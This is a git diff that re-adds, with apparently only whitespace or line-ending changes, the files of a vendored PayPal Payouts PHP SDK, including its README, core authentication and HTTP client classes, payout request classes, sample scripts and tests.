$e->getMessage() - var_dump(json_decode($e->getMessage())); - - } - - -``` -## Running tests - -To run integration tests using your client id and secret, clone this repository and run the following command: - -```sh -$ composer install -$ CLIENT_ID=YOUR_SANDBOX_CLIENT_ID CLIENT_SECRET=OUR_SANDBOX_CLIENT_SECRET composer unit -``` - -You may use the client id and secret above for demonstration purposes. - - -## Samples - -You can start off by trying out [Samples](/samples). - -Note: Update the `PayPalClient.php` with your sandbox client credentials or pass your client credentials as environment variable while executing the samples. - -## License -Code released under [SDK LICENSE](LICENSE) +# PayPal Payouts PHP SDK v2 + +![Home Image](homepage.jpg) + +__Welcome to PayPal Payouts__. This repository contains PayPal's PHP SDK for Payouts and samples for [v1/payments/payouts](https://developer.paypal.com/docs/api/payments.payouts-batch/v1/) APIs. + +This is a part of the next major PayPal SDK. It includes a simplified interface to only provide simple model objects and blueprints for HTTP calls. This repo currently contains functionality for PayPal Payouts APIs which includes [Payouts](https://developer.paypal.com/docs/api/payments.payouts-batch/v1/). + +Please refer to the [PayPal Payouts Integration Guide](https://developer.paypal.com/docs/payouts/) for more information. Also refer to [Setup your SDK](https://developer.paypal.com/docs/payouts/reference/setup-sdk) for additional information about setting up the SDK's. + +## Prerequisites + +PHP 5.6 and above + +An environment which supports TLS 1.2 (see the TLS-update site for more information) + +## Usage +### Binaries + +It is not necessary to fork this repository for using the PayPal SDK. Please take a look at [PayPal Payouts Server SDK](https://developer.paypal.com/docs/payouts/reference/setup-sdk/#install-the-sdk) for configuring and working with SDK without forking this code. + +For contributing to this repository or using the samples you can fork this repository. + +### Setting up credentials + +Get client ID and client secret by going to https://developer.paypal.com/developer/applications and generating a REST API app. Get Client ID and Secret from there. + +```PHP +require __DIR__ . '/vendor/autoload.php'; +use PaypalPayoutsSDK\Core\PayPalHttpClient; +use PaypalPayoutsSDK\Core\SandboxEnvironment; +// Creating an environment +$clientId = "<>"; +$clientSecret = "<>"; + +$environment = new SandboxEnvironment($clientId, $clientSecret); +$client = new PayPalHttpClient($environment); +``` + +## Examples +### Creating a Payout +This will create a Payout and print batch id for the created Payouts + +```PHP +use PaypalPayoutsSDK\Payouts\PayoutsPostRequest; +$request = new PayoutsPostRequest(); +$body= json_decode( + '{ + "sender_batch_header": + { + "email_subject": "SDK payouts test txn" + }, + "items": [ + { + "recipient_type": "EMAIL", + "receiver": "payouts2342@paypal.com", + "note": "Your 1$ payout", + "sender_item_id": "Test_txn_12", + "amount": + { + "currency": "USD", + "value": "1.00" + } + }] + }', + true); +$request->body = $body; +$client = PayPalClient::client(); +$response = $client->execute($request); +print "Status Code: {$response->statusCode}\n"; +print "Status: {$response->result->batch_header->batch_status}\n"; +print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; +print "Links:\n"; +foreach($response->result->links as $link) + { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } +echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + +``` + +### Retrieve a Payouts Batch +This will retrieve a payouts batch +```PHP + $request = new PayoutsGetRequest($batchId); + $response = $client->execute($request); + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; +``` + +### Parsing Failure Response +This will execute a Get request to simulate a failure +```PHP + try{ + $request = new PayoutsGetRequest(null); + $response = $client->execute($request); + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } catch(HttpException $e){ + echo $e->getMessage() + var_dump(json_decode($e->getMessage())); + + } + + +``` +## Running tests + +To run integration tests using your client id and secret, clone this repository and run the following command: + +```sh +$ composer install +$ CLIENT_ID=YOUR_SANDBOX_CLIENT_ID CLIENT_SECRET=OUR_SANDBOX_CLIENT_SECRET composer unit +``` + +You may use the client id and secret above for demonstration purposes. + + +## Samples + +You can start off by trying out [Samples](/samples). + +Note: Update the `PayPalClient.php` with your sandbox client credentials or pass your client credentials as environment variable while executing the samples. + +## License +Code released under [SDK LICENSE](LICENSE) diff --git a/vendor/paypal/paypal-payouts-sdk/composer.json b/vendor/paypal/paypal-payouts-sdk/composer.json index f56a39e702..ae7d81678e 100644 --- a/vendor/paypal/paypal-payouts-sdk/composer.json +++ b/vendor/paypal/paypal-payouts-sdk/composer.json @@ -1,35 +1,35 @@ -{ - "name": "paypal/paypal-payouts-sdk", - "description": "PayPal's PHP SDK for Payouts REST APIs", - "keywords": ["paypal", "payouts", "rest", "sdk"], - "type": "library", - "license": "MIT", - "homepage": "http://github.com/paypal/PAYOUTS-PHP-SDK/", - "require": { - "paypal/paypalhttp": "~1.0.1" - }, - "authors": [ - { - "name": "PayPal", - "homepage": "https://github.com/paypal/PAYOUTS-PHP-SDK/contributors" - } - ], - "require-dev": { - "phpunit/phpunit": "5.7" - }, - "autoload": { - "psr-4": { - "PaypalPayoutsSDK\\": "lib/PaypalPayoutsSDK", - "Sample\\":"samples/" - } - }, - "autoload-dev": { - "psr-4": { - "Test\\":"tests/" - } - }, - "scripts": { - "unit": "phpunit --testsuite unit", - "integration": "phpunit --testsuite integration" - } -} +{ + "name": "paypal/paypal-payouts-sdk", + "description": "PayPal's PHP SDK for Payouts REST APIs", + "keywords": ["paypal", "payouts", "rest", "sdk"], + "type": "library", + "license": "MIT", + "homepage": "http://github.com/paypal/PAYOUTS-PHP-SDK/", + "require": { + "paypal/paypalhttp": "~1.0.1" + }, + "authors": [ + { + "name": "PayPal", + "homepage": "https://github.com/paypal/PAYOUTS-PHP-SDK/contributors" + } + ], + "require-dev": { + "phpunit/phpunit": "5.7" + }, + "autoload": { + "psr-4": { + "PaypalPayoutsSDK\\": "lib/PaypalPayoutsSDK", + "Sample\\":"samples/" + } + }, + "autoload-dev": { + "psr-4": { + "Test\\":"tests/" + } + }, + "scripts": { + "unit": "phpunit --testsuite unit", + "integration": "phpunit --testsuite integration" + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/gen.yml b/vendor/paypal/paypal-payouts-sdk/gen.yml index 6b01b0464c..858ced838f 100644 --- a/vendor/paypal/paypal-payouts-sdk/gen.yml +++ b/vendor/paypal/paypal-payouts-sdk/gen.yml @@ -1,6 +1,6 @@ ---- -projectName: Payouts-PHP -language: php -sourcePath: lib/PaypalPayoutsSDK -testPath: tests -apiVersioning: false +--- +projectName: Payouts-PHP +language: php +sourcePath: lib/PaypalPayoutsSDK +testPath: tests +apiVersioning: false diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessToken.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessToken.php index 0088f6dd40..571761ef2b 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessToken.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessToken.php @@ -1,25 +1,25 @@ -token = $token; - $this->tokenType = $tokenType; - $this->expiresIn = $expiresIn; - $this->createDate = time(); - } - - public function isExpired() - { - return time() >= $this->createDate + $this->expiresIn; - } +token = $token; + $this->tokenType = $tokenType; + $this->expiresIn = $expiresIn; + $this->createDate = time(); + } + + public function isExpired() + { + return time() >= $this->createDate + $this->expiresIn; + } } \ No newline at end of file diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessTokenRequest.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessTokenRequest.php index b9094c4e16..359e674112 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessTokenRequest.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AccessTokenRequest.php @@ -1,27 +1,27 @@ -headers["Authorization"] = "Basic " . $environment->authorizationString(); - $body = [ - "grant_type" => "client_credentials" - ]; - - if (!is_null($refreshToken)) - { - $body["grant_type"] = "refresh_token"; - $body["refresh_token"] = $refreshToken; - } - - $this->body = $body; - $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; - } -} - +headers["Authorization"] = "Basic " . $environment->authorizationString(); + $body = [ + "grant_type" => "client_credentials" + ]; + + if (!is_null($refreshToken)) + { + $body["grant_type"] = "refresh_token"; + $body["refresh_token"] = $refreshToken; + } + + $this->body = $body; + $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; + } +} + diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AuthorizationInjector.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AuthorizationInjector.php index 78ed4dae39..ff14af09dd 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AuthorizationInjector.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/AuthorizationInjector.php @@ -1,51 +1,51 @@ -client = $client; - $this->environment = $environment; - $this->refreshToken = $refreshToken; - } - - public function inject($request) - { - if (!$this->hasAuthHeader($request) && !$this->isAuthRequest($request)) - { - if (is_null($this->accessToken) || $this->accessToken->isExpired()) - { - $this->accessToken = $this->fetchAccessToken(); - } - $request->headers['Authorization'] = 'Bearer ' . $this->accessToken->token; - } - } - - private function fetchAccessToken() - { - $accessTokenResponse = $this->client->execute(new AccessTokenRequest($this->environment, $this->refreshToken)); - $accessToken = $accessTokenResponse->result; - return new AccessToken($accessToken->access_token, $accessToken->token_type, $accessToken->expires_in); - } - - private function isAuthRequest($request) - { - return $request instanceof AccessTokenRequest || $request instanceof RefreshTokenRequest; - } - - private function hasAuthHeader(HttpRequest $request) - { - return array_key_exists("Authorization", $request->headers); - } -} +client = $client; + $this->environment = $environment; + $this->refreshToken = $refreshToken; + } + + public function inject($request) + { + if (!$this->hasAuthHeader($request) && !$this->isAuthRequest($request)) + { + if (is_null($this->accessToken) || $this->accessToken->isExpired()) + { + $this->accessToken = $this->fetchAccessToken(); + } + $request->headers['Authorization'] = 'Bearer ' . $this->accessToken->token; + } + } + + private function fetchAccessToken() + { + $accessTokenResponse = $this->client->execute(new AccessTokenRequest($this->environment, $this->refreshToken)); + $accessToken = $accessTokenResponse->result; + return new AccessToken($accessToken->access_token, $accessToken->token_type, $accessToken->expires_in); + } + + private function isAuthRequest($request) + { + return $request instanceof AccessTokenRequest || $request instanceof RefreshTokenRequest; + } + + private function hasAuthHeader(HttpRequest $request) + { + return array_key_exists("Authorization", $request->headers); + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/FPTIInstrumentationInjector.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/FPTIInstrumentationInjector.php index 4ec4540687..60009c4cfd 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/FPTIInstrumentationInjector.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/FPTIInstrumentationInjector.php @@ -1,16 +1,16 @@ -headers["sdk_name"] = "Payouts SDK"; - $request->headers["sdk_version"] = "1.0.0"; - $request->headers["sdk_tech_stack"] = "PHP " . PHP_VERSION; - $request->headers["api_integration_type"] = "PAYPALSDK"; - } -} +headers["sdk_name"] = "Payouts SDK"; + $request->headers["sdk_version"] = "1.0.0"; + $request->headers["sdk_tech_stack"] = "PHP " . PHP_VERSION; + $request->headers["api_integration_type"] = "PAYPALSDK"; + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/GzipInjector.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/GzipInjector.php index e1d4e56658..7708ab8270 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/GzipInjector.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/GzipInjector.php @@ -1,14 +1,14 @@ -headers["Accept-Encoding"] = "gzip"; - } -} +headers["Accept-Encoding"] = "gzip"; + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalEnvironment.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalEnvironment.php index 30d0674a7b..7296c99f73 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalEnvironment.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalEnvironment.php @@ -1,23 +1,23 @@ -clientId = $clientId; - $this->clientSecret = $clientSecret; - } - - public function authorizationString() - { - return base64_encode($this->clientId . ":" . $this->clientSecret); - } -} - +clientId = $clientId; + $this->clientSecret = $clientSecret; + } + + public function authorizationString() + { + return base64_encode($this->clientId . ":" . $this->clientSecret); + } +} + diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalHttpClient.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalHttpClient.php index 83ca478f27..8d3f50f71b 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalHttpClient.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/PayPalHttpClient.php @@ -1,27 +1,27 @@ -refreshToken = $refreshToken; - $this->authInjector = new AuthorizationInjector($this, $environment, $refreshToken); - $this->addInjector($this->authInjector); - $this->addInjector(new GzipInjector()); - $this->addInjector(new FPTIInstrumentationInjector()); - } - - public function userAgent() - { - return UserAgent::getValue(); - } -} - +refreshToken = $refreshToken; + $this->authInjector = new AuthorizationInjector($this, $environment, $refreshToken); + $this->addInjector($this->authInjector); + $this->addInjector(new GzipInjector()); + $this->addInjector(new FPTIInstrumentationInjector()); + } + + public function userAgent() + { + return UserAgent::getValue(); + } +} + diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/ProductionEnvironment.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/ProductionEnvironment.php index fbd378ffbd..4b10c02786 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/ProductionEnvironment.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/ProductionEnvironment.php @@ -1,16 +1,16 @@ -headers["Authorization"] = "Basic " . $environment->authorizationString(); - $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; - $this->body = [ - "grant_type" => "authorization_code", - "code" => $authorizationCode - ]; - } -} +headers["Authorization"] = "Basic " . $environment->authorizationString(); + $this->headers["Content-Type"] = "application/x-www-form-urlencoded"; + $this->body = [ + "grant_type" => "authorization_code", + "code" => $authorizationCode + ]; + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/SandboxEnvironment.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/SandboxEnvironment.php index 2611f5a569..1de1615117 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/SandboxEnvironment.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Core/SandboxEnvironment.php @@ -1,16 +1,16 @@ -path = str_replace("{payout_batch_id}", urlencode($payoutBatchId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - - public function fields($fields) - { - $param = $fields; - $this->path .= "fields=". urlencode($param) . "&"; - } - public function page($page) - { - $param = $page; - $this->path .= "page=". urlencode($param) . "&"; - } - public function pageSize($pageSize) - { - $param = $pageSize; - $this->path .= "page_size=". urlencode($param) . "&"; - } - public function totalRequired($totalRequired) - { - $param = $totalRequired; - $this->path .= "total_required=". urlencode($param) . "&"; - } -} +path = str_replace("{payout_batch_id}", urlencode($payoutBatchId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + + public function fields($fields) + { + $param = $fields; + $this->path .= "fields=". urlencode($param) . "&"; + } + public function page($page) + { + $param = $page; + $this->path .= "page=". urlencode($param) . "&"; + } + public function pageSize($pageSize) + { + $param = $pageSize; + $this->path .= "page_size=". urlencode($param) . "&"; + } + public function totalRequired($totalRequired) + { + $param = $totalRequired; + $this->path .= "total_required=". urlencode($param) . "&"; + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemCancelRequest.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemCancelRequest.php index 0409c62661..2a4ad697f1 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemCancelRequest.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemCancelRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{payout_item_id}", urlencode($payoutItemId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{payout_item_id}", urlencode($payoutItemId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemGetRequest.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemGetRequest.php index 1fcaaf39ea..ed53cba153 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemGetRequest.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsItemGetRequest.php @@ -1,25 +1,25 @@ -path = str_replace("{payout_item_id}", urlencode($payoutItemId), $this->path); - $this->headers["Content-Type"] = "application/json"; - } - - -} +path = str_replace("{payout_item_id}", urlencode($payoutItemId), $this->path); + $this->headers["Content-Type"] = "application/json"; + } + + +} diff --git a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsPostRequest.php b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsPostRequest.php index 4e15bcbd5b..cefd1cd804 100644 --- a/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsPostRequest.php +++ b/vendor/paypal/paypal-payouts-sdk/lib/PaypalPayoutsSDK/Payouts/PayoutsPostRequest.php @@ -1,31 +1,31 @@ -headers["Content-Type"] = "application/json"; - } - - - public function payPalPartnerAttributionId($payPalPartnerAttributionId) - { - $this->headers["PayPal-Partner-Attribution-Id"] = $payPalPartnerAttributionId; - } - public function payPalRequestId($payPalRequestId) - { - $this->headers["PayPal-Request-Id"] = $payPalRequestId; - } -} +headers["Content-Type"] = "application/json"; + } + + + public function payPalPartnerAttributionId($payPalPartnerAttributionId) + { + $this->headers["PayPal-Partner-Attribution-Id"] = $payPalPartnerAttributionId; + } + public function payPalRequestId($payPalRequestId) + { + $this->headers["PayPal-Request-Id"] = $payPalRequestId; + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/phpunit.xml b/vendor/paypal/paypal-payouts-sdk/phpunit.xml index f9801878bf..88e5d6257e 100644 --- a/vendor/paypal/paypal-payouts-sdk/phpunit.xml +++ b/vendor/paypal/paypal-payouts-sdk/phpunit.xml @@ -1,10 +1,10 @@ - - - - - - ./tests/ - - - - + + + + + + ./tests/ + + + + diff --git a/vendor/paypal/paypal-payouts-sdk/samples/CreatePayoutSample.php b/vendor/paypal/paypal-payouts-sdk/samples/CreatePayoutSample.php index fd0724c619..29c66cb3f9 100644 --- a/vendor/paypal/paypal-payouts-sdk/samples/CreatePayoutSample.php +++ b/vendor/paypal/paypal-payouts-sdk/samples/CreatePayoutSample.php @@ -1,73 +1,73 @@ -body = self::buildRequestBody(); - $client = PayPalClient::client(); - $response = $client->execute($request); - if ($debug) { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->batch_header->batch_status}\n"; - print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; - print "Links:\n"; - foreach ($response->result->links as $link) { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } catch (HttpException $e) { - //Parse failure response - echo $e->getMessage() . "\n"; - $error = json_decode($e->getMessage()); - echo $error->message . "\n"; - echo $error->name . "\n"; - echo $error->debug_id . "\n"; - } - } -} - -if (!count(debug_backtrace())) { - CreatePayoutSample::CreatePayout(true); -} +body = self::buildRequestBody(); + $client = PayPalClient::client(); + $response = $client->execute($request); + if ($debug) { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->batch_header->batch_status}\n"; + print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; + print "Links:\n"; + foreach ($response->result->links as $link) { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } catch (HttpException $e) { + //Parse failure response + echo $e->getMessage() . "\n"; + $error = json_decode($e->getMessage()); + echo $error->message . "\n"; + echo $error->name . "\n"; + echo $error->debug_id . "\n"; + } + } +} + +if (!count(debug_backtrace())) { + CreatePayoutSample::CreatePayout(true); +} diff --git a/vendor/paypal/paypal-payouts-sdk/samples/GetPayoutSample.php b/vendor/paypal/paypal-payouts-sdk/samples/GetPayoutSample.php index 0459a564f2..b39cd92eb7 100644 --- a/vendor/paypal/paypal-payouts-sdk/samples/GetPayoutSample.php +++ b/vendor/paypal/paypal-payouts-sdk/samples/GetPayoutSample.php @@ -1,52 +1,52 @@ -execute($request); - if ($debug) { - print "Status Code: {$response->statusCode}\n"; - print "Status: {$response->result->batch_header->batch_status}\n"; - print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; - print "First Item ID: {$response->result->items[0]->payout_item_id}\n"; - - print "Links:\n"; - foreach ($response->result->links as $link) { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } catch (HttpException $e) { - //Parse failure response - echo $e->getMessage() . "\n"; - $error = json_decode($e->getMessage()); - echo $error->message . "\n"; - echo $error->name . "\n"; - echo $error->debug_id . "\n"; - } - } -} - -if (!count(debug_backtrace())) { - $response = CreatePayoutSample::CreatePayout(true); - GetPayoutSample::GetPayout($response->result->batch_header->payout_batch_id, true); -} +execute($request); + if ($debug) { + print "Status Code: {$response->statusCode}\n"; + print "Status: {$response->result->batch_header->batch_status}\n"; + print "Batch ID: {$response->result->batch_header->payout_batch_id}\n"; + print "First Item ID: {$response->result->items[0]->payout_item_id}\n"; + + print "Links:\n"; + foreach ($response->result->links as $link) { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } catch (HttpException $e) { + //Parse failure response + echo $e->getMessage() . "\n"; + $error = json_decode($e->getMessage()); + echo $error->message . "\n"; + echo $error->name . "\n"; + echo $error->debug_id . "\n"; + } + } +} + +if (!count(debug_backtrace())) { + $response = CreatePayoutSample::CreatePayout(true); + GetPayoutSample::GetPayout($response->result->batch_header->payout_batch_id, true); +} diff --git a/vendor/paypal/paypal-payouts-sdk/samples/ItemCancelSample.php b/vendor/paypal/paypal-payouts-sdk/samples/ItemCancelSample.php index 5a3e865ff3..450be8c7d7 100644 --- a/vendor/paypal/paypal-payouts-sdk/samples/ItemCancelSample.php +++ b/vendor/paypal/paypal-payouts-sdk/samples/ItemCancelSample.php @@ -1,52 +1,52 @@ -execute($request); - if ($debug) { - print "Status Code: {$response->statusCode}\n"; - print "Item status: {$response->result->transaction_status}\n"; - - print "Links:\n"; - foreach ($response->result->links as $link) { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } catch (HttpException $e) { - //Parse failure response - echo $e->getMessage() . "\n"; - $error = json_decode($e->getMessage()); - echo $error->message . "\n"; - echo $error->name . "\n"; - echo $error->debug_id . "\n"; - } - } -} - -if (!count(debug_backtrace())) { - $payout = CreatePayoutSample::CreatePayout(true); - $response = GetPayoutSample::getPayout($payout->result->batch_header->payout_batch_id, true); - ItemCancelSample::CancelItem($response->result->items[0]->payout_item_id, true); -} +execute($request); + if ($debug) { + print "Status Code: {$response->statusCode}\n"; + print "Item status: {$response->result->transaction_status}\n"; + + print "Links:\n"; + foreach ($response->result->links as $link) { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } catch (HttpException $e) { + //Parse failure response + echo $e->getMessage() . "\n"; + $error = json_decode($e->getMessage()); + echo $error->message . "\n"; + echo $error->name . "\n"; + echo $error->debug_id . "\n"; + } + } +} + +if (!count(debug_backtrace())) { + $payout = CreatePayoutSample::CreatePayout(true); + $response = GetPayoutSample::getPayout($payout->result->batch_header->payout_batch_id, true); + ItemCancelSample::CancelItem($response->result->items[0]->payout_item_id, true); +} diff --git a/vendor/paypal/paypal-payouts-sdk/samples/ItemGetSample.php b/vendor/paypal/paypal-payouts-sdk/samples/ItemGetSample.php index 9d86b6be95..9a7a9dd06d 100644 --- a/vendor/paypal/paypal-payouts-sdk/samples/ItemGetSample.php +++ b/vendor/paypal/paypal-payouts-sdk/samples/ItemGetSample.php @@ -1,52 +1,52 @@ -execute($request); - if ($debug) { - print "Status Code: {$response->statusCode}\n"; - print "Item status: {$response->result->transaction_status}\n"; - - print "Links:\n"; - foreach ($response->result->links as $link) { - print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; - } - // To toggle printing the whole response body comment/uncomment below line - echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; - } - return $response; - } catch (HttpException $e) { - //Parse failure response - echo $e->getMessage() . "\n"; - $error = json_decode($e->getMessage()); - echo $error->message . "\n"; - echo $error->name . "\n"; - echo $error->debug_id . "\n"; - } - } -} - -if (!count(debug_backtrace())) { - $payout = CreatePayoutSample::CreatePayout(true); - $response = GetPayoutSample::getPayout($payout->result->batch_header->payout_batch_id, true); - ItemGetSample::GetPayoutItem($response->result->items[0]->payout_item_id, true); -} +execute($request); + if ($debug) { + print "Status Code: {$response->statusCode}\n"; + print "Item status: {$response->result->transaction_status}\n"; + + print "Links:\n"; + foreach ($response->result->links as $link) { + print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n"; + } + // To toggle printing the whole response body comment/uncomment below line + echo json_encode($response->result, JSON_PRETTY_PRINT), "\n"; + } + return $response; + } catch (HttpException $e) { + //Parse failure response + echo $e->getMessage() . "\n"; + $error = json_decode($e->getMessage()); + echo $error->message . "\n"; + echo $error->name . "\n"; + echo $error->debug_id . "\n"; + } + } +} + +if (!count(debug_backtrace())) { + $payout = CreatePayoutSample::CreatePayout(true); + $response = GetPayoutSample::getPayout($payout->result->batch_header->payout_batch_id, true); + ItemGetSample::GetPayoutItem($response->result->items[0]->payout_item_id, true); +} diff --git a/vendor/paypal/paypal-payouts-sdk/samples/PayPalClient.php b/vendor/paypal/paypal-payouts-sdk/samples/PayPalClient.php index 386e240290..eb060c33fc 100644 --- a/vendor/paypal/paypal-payouts-sdk/samples/PayPalClient.php +++ b/vendor/paypal/paypal-payouts-sdk/samples/PayPalClient.php @@ -1,31 +1,31 @@ ->"; - $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; - return new SandboxEnvironment($clientId, $clientSecret); - } +>"; + $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; + return new SandboxEnvironment($clientId, $clientSecret); + } } \ No newline at end of file diff --git a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsGetTest.php b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsGetTest.php index 4d7df93c9b..4e1e541564 100644 --- a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsGetTest.php +++ b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsGetTest.php @@ -1,33 +1,33 @@ -result->batch_header->payout_batch_id); - $response = $client->execute($request); - return $response; - - } - public function testPayoutsGetRequest() - { - $client = TestHarness::client(); - $response=self::get($client); - $this->assertEquals(200, $response->statusCode); - $this->assertNotNull($response->result); - - // Add your own checks here - } -} +result->batch_header->payout_batch_id); + $response = $client->execute($request); + return $response; + + } + public function testPayoutsGetRequest() + { + $client = TestHarness::client(); + $response=self::get($client); + $this->assertEquals(200, $response->statusCode); + $this->assertNotNull($response->result); + + // Add your own checks here + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemCancelTest.php b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemCancelTest.php index c524a4fa93..a3eedeb2e9 100644 --- a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemCancelTest.php +++ b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemCancelTest.php @@ -1,33 +1,33 @@ -result->items[0]->payout_item_id); - - $client = TestHarness::client(); - $response = $client->execute($request); - $this->assertEquals(200, $response->statusCode); - $this->assertNotNull($response->result); - - // Add your own checks here - } -} +result->items[0]->payout_item_id); + + $client = TestHarness::client(); + $response = $client->execute($request); + $this->assertEquals(200, $response->statusCode); + $this->assertNotNull($response->result); + + // Add your own checks here + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemGetTest.php b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemGetTest.php index 9b49c4db4b..7dc278ea2b 100644 --- 